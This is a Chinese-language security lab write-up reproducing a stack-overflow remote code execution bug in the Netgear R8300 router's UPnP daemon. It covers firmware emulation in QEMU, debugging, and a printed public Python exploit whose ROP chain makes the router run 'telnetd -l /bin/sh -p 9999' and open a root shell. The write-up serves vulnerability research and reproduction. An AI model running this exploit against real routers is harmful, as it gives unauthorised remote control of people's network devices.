漏洞分析
固件下载地址
https://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
提取文件系统
binwalk -Me R8300-V1.0.2.130_1.0.99.chk
/usr/sbin/upnpd 程序中漏洞点解析
upnp服务开启1900端口,在upnp_main函数执行流程时,通过recvfrom函数接收数据并传递给ssdp_http_method_check函数,在ssdp_http_method_check内部执行strcpy操作时,未对输入的数据做任何安全检查,造成栈溢出。
源码如下:
int upnp_main()
{
//...
recvBuf[0] = 0;
//接收通过1900端口发送的数据,保存在 recvBuf 缓冲区中。
v28 = recvfrom(dword_C4580_upnp_http_fd_1900, recvBuf, 0x1FFFu, 0, (struct sockaddr *)&v63, (socklen_t *)&v71);
v29 = v64;
stru_C44FC.__fds_bits[(unsigned int)dword_C4580_upnp_http_fd_1900 >> 5] &= ~(1 << (dword_C4580_upnp_http_fd_1900 & 0x1F));
if ( v29 )
{
if ( v28 )
{
inet_ntoa_b();
recvBuf[v28] = 0;
if ( acosNvramConfig_match("upnp_turn_on", "1") )
//接受的数据recvBuf传递给ssdp_http_method_check函数
ssdp_http_method_check(
recvBuf,
(int)&v59,
(unsigned __int16)(HIWORD(v63) << 8) | (unsigned __int16)(HIWORD(v63) >> 8));
}
else
{
printferror(2, "%s(%d):EOF...n", "upnp_main", 883);
}
}
//...
}
signed int __fastcall ssdp_http_method_check(const char *recvBuf, int a2, int a3)
{
//...
int v4; // r6
int v39; // [sp+18h] [bp-640h]
int v40; // [sp+24h] [bp-634h]
int *v51; // [sp+628h] [bp-30h]
//...
printferror(3, "%s(%d):n", "ssdp_http_method_check", 203);
if ( dword_93AE0 == 1 )
return 0;
v51 = &v40;
//1. 未对recvBuf进行长度检查
//2. strcpy未进行复制的数据长度进行限制
strcpy((char *)&v40, recvBuf);
v7 = sub_B60C((const char **)&v51, (const char *)&v52);
v8 = v7;
//...
}
启动UPNP服务
qemu启动
sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd
问题:No such file or directory
12334 brk(0x000e5000) = 0x000e5000
12334 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)
12334 exit(2)
解决方法: 创建目录
可以看到,var->tmp/var
mkdir -p ./tmp/var/run
再次运行upnpd
sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd
问题: No such file or directory
12394 open("/dev/nvram",O_RDWR) = -1 errno=2 (No such file or directory)
原因:
虚拟机中没有nvram设备
解决方案:
劫持与nvram读写相关的函数,通过软件的方式来提供相关的配置
修复环境
1. 搭建arm交叉编译链环境
命令直接安装
sudo apt-get install gcc-arm-linux-gnueabi
通过buildroot进行搭建(推荐)
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
sudo apt-get install libncurses-dev patch
make clean
make menuconfig #根据需求进行配置
# uname -r 查询linux版本
sudo make -j4
2. nvram.so 库加载问题
2.1 编译nvram:
下载 custom_nvram
https://github.com/therealsaumil/custom_nvram
经测试,自带的custom_nvram_r6250.so 无法使用
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/custom_nvram_r6250.so ./usr/sbin/upnpd
2.2 手动编译 nvram.so
a. 使用arm-linux-gnueabi-gcc 编译,生成的 nvram.so 库无法加载
起始我是通过 arm-linux-gnueabi-gcc 和 armhf中的gcc 进行编译的nvram.so,都无法使用,费了好长时间
#/bin/bash
arm-linux-gnueabi-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
cp nvram.so /home/mira/test/Netgear/R8300/squashfs-root/firmadyne/
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/nvram.so ./usr/sbin/upnpd
出现这种问题说明 nvram.so 无法使用
b. 使用arm-linux-gcc 编译,生成的 nvram.so (arm-linux-gcc, 通过buildroot进行配置)
#/bin/bash=
arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
cp nvram.so /home/mira/test/Netgear/R8300/squashfs-root/firmadyne/
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/nvram.so ./usr/sbin/upnpd
此时,错误原因与之前不一样了,说明 编译的 nvram.so 库问题已经解决。
3. 符号问题
114264 mmap2(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0xf65d1000
114264 write(2,0xf65d1000,0) = 0
114264 write(2,0xf6fff7b9,16)./usr/sbin/upnpd = 16
114264 write(2,0xf65d1002,24): can't resolve symbol ' = 24
114264 write(2,0xf675f6d4,5)dlsym = 5
114264 write(2,0xf65d101c,2)'
= 2
114264 munmap(0xf65d1000,4096) = 0
114264 exit(1)
3.1 原因分析:
出现dlsym符号问题,是因为nvram.so 库源码 custom_nvram_r6250.c 中调用了 dlsym 函数,对 system、fopen、open 进行hook。
3.2 解决方案:
查看一下lib库中哪些库中包含 dlsym 符号,加载相关的库
mira@ubuntu:lib$ grep -r dlsym ./
Binary file ./libldb.so.1 matches
Binary file ./libkrb5-samba4.so.26 matches
Binary file ./libdl.so.0 matches
Binary file ./libcrypto.so.1.0.0 matches
Binary file ./libsamba-modules-samba4.so matches
Binary file ./libhcrypto-samba4.so.5 matches
Binary file ./libsqlite3.so.0 matches
查看哪个库中导出 dlsym 函数
readelf -s ./libldb.so.1 | grep dlsym
readelf -s ./libkrb5-samba4.so.26 | grep dlsym
readelf -s ./libdl.so.0 | grep dlsym
readelf -s ./libcrypto.so.1.0.0 | grep dlsym
readelf -s ./libsamba-modules-samba4.so | grep dlsym
readelf -s ./libhcrypto-samba4.so.5 | grep dlsym
readelf -s ./libsqlite3.so.0 | grep dlsym
根据查看结果可以知道,在libdl.so.0 库中实现了dlsym函数
3.3 ida验证一下:
3.4 解决:
通过 LD_PRELOAD 设置环境变量,优先加载 libdl.so.0 库,如下:
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
a. 可以看到,刚才的 dlsym 符号问题应解决
b. 出现新的问题:没有 /tmp/nvram.ini 这个文件
4. /tmp/nvram.ini 文件问题
创建 /tmp/nvram.ini文件
touch -p tmp/nvram.ini
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
a. nvram.ini 文件问题解决
b. 产生 acosNvramConfig_get('hwver') = 读取配置问题
5. nvram 配置问题
5.1 原因分析
在upnpd程序中,通过acosNvramConfig_get读取nvram配置信息
当使用 nvram.so 库时,会使用nvram.so中的acosNvramConfig_get,通过分析库的源码 custom_nvram_r6250.c可以发现,程序中通过读取/tmp/nvram.ini配置文件中的信息获取nvram的相关配置
5.2 解决方案
根据ida逆向,在/tmp/nvram.ini中添加对应的配置
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD="./firmadyne/nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
这说明,upnpd已经成功运行。
5.3 验证upnpd运行成功
a. netstat -aptn
根据逆向可知,查看是否有 tcp:5000 端口
b. 访问网页验证:
c. 查看UDP 1900端口是否运行
sudo lsof -i:1900
可知udp 1900 端口已经开启
由此可知,upnpd运行成功。
qemu虚拟系统环境
设置桥接网络
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -p /etc/sysctl.conf
sudo iptables -t nat -A POSTROUTING -s "192.168.122.0/255.255.255.0" ! -d "192.168.122.0/255.255.255.0" -j MASQUERADE
sudo iptables -N vm-service
sudo iptables -A vm-service -j ACCEPT
sudo iptables -A FORWARD -s 192.168.122.0/24 -j vm-service
sudo dnsmasq --strict-order --except-interface=lo --interface=virbr0 --listen-address=192.168.122.1 --bind-interfaces --dhcp-range=192.168.122.2,192.168.122.254 --conf-file="" --pid-file=/var/run/qemu-dhcp-virbr0.pid --dhcp-leasefile=/var/run/qemu-dhcp-virbr0.leases --dhcp-no-override
启动虚拟机
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
挂载文件系统
mira@ubuntu:R8300$ tar -cf ./Netgear-R8300-squashfs-root.tar squashfs-root
#开启http 80 port
mira@ubuntu:R8300$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
#armhf中下载 Netgear-R8300-squashfs-root.tar
debian-armhf:R8300# wget http://192.168.2.210/Netgear-R8300-squashfs-root.tar
#解压文件
tar -xf Netgear-R8300-squashfs-root.tar
cd squashfs-root
#挂载系统
debian-armhf:squashfs-root# mount -o bind /dev/ ./dev/
debian-armhf:squashfs-root# mount -t proc /proc/ ./proc/
debian-armhf:squashfs-root# mount sysfs ./sys -t sysfs
debian-armhf:squashfs-root# chroot . ./bin/sh
mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc/
mount sysfs ./sys -t sysfs
chroot . ./bin/sh
运行upnpd
LD_PRELOAD="/firmadyne/nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd
调试:
.text:00025E4C BEQ loc_25F40
.text:00025E50 ADD R3, SP, #0x30
.text:00025E54 ADD R7, SP, #0x630
.text:00025E58 SUB R3, R3, #0xC
.text:00025E5C ADD R8, SP, #0x620
.text:00025E60 STR R3, [R7,#-8]!
.text:00025E64 MOV R1, R4 ; src
.text:00025E68 MOV R0, R3 ; dest
.text:00025E6C ADD R8, R8, #0xC
.text:00025E70 BL strcpy
远程先运行 upnpd, 再挂接进程
#运行 upnpd
LD_PRELOAD="/firmadyne/nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd
#挂接进程
./gdbserver-armhf-9.2-static --attach 192.168.122.89:1234 2765 # upnpd process 2765
#本地
mira@ubuntu:sbin$ gdb-multiarch ./upnpd
pwndbg> b main
Breakpoint 1 at 0x263bc
pwndbg>b *0x0001D838 #.text:0001D838 BL ssdp_http_method_check
pwndbg> target remote 192.168.122.89:1234
至此,upnpd运行过程中所遇到的问题全部解决,而且程序可以正常调试,接下来就可以构造payload,进行漏洞利用。
poc
注: poc为网上公布的代码,只需要在程序调试过程中,根据自己环境的相关情况,对payload稍作修改。
import socket
import time
import sys
from struct import pack
a = """
# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
# Date : 2020.03.09
# POC : system("telnetd -l /bin/sh -p 9999& ") Execute
# Desc : execute telnetd to access router
"""
print a
p32 = lambda x: pack("<L", x)
payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''
payload = payload.replace('z3Bz', 'x01xf0xf9x76') # Need to Existed Address 0x76f9f000
payload = payload.replace(' AAA ', 'xf0x30x02x00') # change eip
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; ''
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
"""
bssBase = 0x9E150 # string bss BASE Address
expayload += 'a' * 4550 #0x11C6
expayload += p32(bssBase + 3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 6) # R4
expayload += p32(0x423D7) # R5 //telnet
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 8) # R4
expayload += p32(0x40CA4) # R5 //telnetdx20
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 10) # R4
expayload += p32(0x4704A) # R5 //telnetdx20-l
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 11) # R4
expayload += p32(0x04C281) # R5 //telnetdx20-l/bin/x20
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 16) # R4
expayload += p32(0x40CEC) # R5 //telnetdx20-l/bin/
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 18) # R4
expayload += p32(0x9CB5) # R5 //telnetdx20-l/bin/sh
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 22) # R4
expayload += p32(0x41B17) # R5 //telnetdx20-l/bin/shx20-px20
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 24) # R4
expayload += p32(0x03FFC4) # R5 //telnetdx20-l/bin/shx20-px2099
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 26) # R4
expayload += p32(0x03FFC4) # R5 //telnetdx20-l/bin/shx20-px209999
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 28) # R4
expayload += p32(0x4A01D) # R5 //telnetdx20-l/bin/shx20-px209999x20&
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase + 30) # R4
expayload += p32(0x461C1) # R5 //telnetdx20-l/bin/shx20-px209999x20&x20x00
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x13648) # strcpy
print "[*] Make Payload ..."
"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""
expayload += 'd' * 0x5c # dummy
expayload += p32(bssBase) # R4
expayload += p32(0x47398) # R5
expayload += 'c' * 4 # R6
expayload += 'c' * 4 # R7
expayload += 'c' * 4 # R8
expayload += 'd' * 4 # R10
expayload += p32(0x1A83C) # system(string) telnetd -l
s.connect(('192.168.122.89', 1900))
print "[*] Send Proof Of Concept payload"
s.send('ax00' + expayload) # expayload is rop gadget
s.send(payload)
def checkExploit():
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ret = soc.connect(('192.168.122.89', 9999))
return 1
except:
return 0
time.sleep(5)
if checkExploit():
print "[*] Exploit Success"
print "[*] You can access telnet 192.168.1.1 9999"
else:
print "[*] Need to Existed Address cross each other"
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
print "[*] To exploit reexecute upnpd, description"
print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
s.close()
print """
[*] Done ...
"""
查看poc执行结果
查看进程和端口
扫描端口
mira@ubuntu:R8300$ nmap -T4 -A -v 192.168.122.89
可以看到成功开启 9999端口,poc 利用成功。
参考:
https://www.anquanke.com/post/id/217606
https://paper.seebug.org/1311/
欢迎从事网络设备安全研究、漏洞挖掘的各位大佬和小白,投递简历,加入水滴实验室。(招人)
本文始发于微信公众号(水滴安全实验室):Netgear-R8300-UPnP RCE漏洞分析复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论